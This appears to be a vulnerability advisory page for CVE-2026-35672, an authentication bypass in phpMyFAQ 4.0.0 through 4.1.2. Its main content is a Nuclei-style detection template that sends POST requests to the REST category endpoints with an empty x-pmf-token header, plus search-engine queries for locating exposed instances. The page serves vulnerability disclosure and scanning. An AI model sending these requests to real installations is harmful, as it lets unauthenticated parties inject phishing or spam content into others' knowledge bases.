CVE-2026-35672: phpMyFAQ <= 4.1.2 - Authentication Bypass via Empty API Token

2026-11-29 PoC Public

Description

phpMyFAQ 4.0.0 through 4.1.2 seeds the api.apiClientToken setting with an empty string during installation. The REST API checks the x-pmf-token header with a strict comparison against this setting, so a request that sends the header with an empty value passes the token check on the category, FAQ and question write endpoints.

Details

CVE
CVE-2026-35672 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2026-35672

info:
  name: phpMyFAQ <= 4.1.2 - Authentication Bypass via Empty API Token
  author: s4e-io
  severity: high
  description: |
    phpMyFAQ 4.0.0 through 4.1.2 seeds the api.apiClientToken setting with an empty string during installation. The REST API checks the x-pmf-token header with a strict comparison against this setting, so a request that sends the header with an empty value passes the token check on the category, FAQ and question write endpoints.
  impact: |
    Unauthenticated attackers can create and modify FAQ entries, categories and open questions through the REST API, which allows content injection for phishing or spam on the knowledge base.
  remediation: |
    Upgrade to version 4.1.3 or later, or set a long random API client token in the phpMyFAQ configuration.
  reference:
    - https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-gp95-j463-vv28
    - https://github.com/thorsten/phpMyFAQ/commit/84c095d6b39fb6744ce2d5f26ee1c8a7569327a5
    - https://www.vulncheck.com/advisories/phpmyfaq-authentication-bypass-via-empty-api-token
    - https://nvd.nist.gov/vuln/detail/CVE-2026-35672
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-35672
    epss-score: 0.01444
    epss-percentile: 0.7356
    cwe-id: CWE-1188
  metadata:
    verified: true
    max-request: 2
    vendor: phpmyfaq
    product: phpmyfaq
    shodan-query: http.html:"phpMyFAQ"
    fofa-query: app="phpMyFAQ"
  tags: cve,cve2026,phpmyfaq,auth-bypass,unauth,vuln

variables:
  parent: "{{rand_text_alpha(16)}}"

http:
  - raw:
      - |
        POST /api/v3.1/category HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        x-pmf-token:

        {"language":"en","parent-id":0,"parent-category-name":"{{parent}}","category-name":"{{parent}}","description":"{{parent}}","is-active":false,"show-on-homepage":false}

      - |
        POST /api/v3.0/category HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        x-pmf-token:

        {"language":"en","parent-id":0,"parent-category-name":"{{parent}}","category-name":"{{parent}}","description":"{{parent}}","is-active":false,"show-on-homepage":false}

    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 409'
          - 'contains(content_type, "application/json")'
          - 'contains_all(body, "\"stored\":false", "The given parent category name was not found.")'
        condition: and
# digest: 4a0a0047304502203ed1e82ca17501ad22f96261e74e56d5f5a471037e83292ee72a5e7bb7c1576d022100c4a531e0b1d27d7fdfe24a4dec79bd3c47dbb96d075c3a581ffbbb1f5289ec9c:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life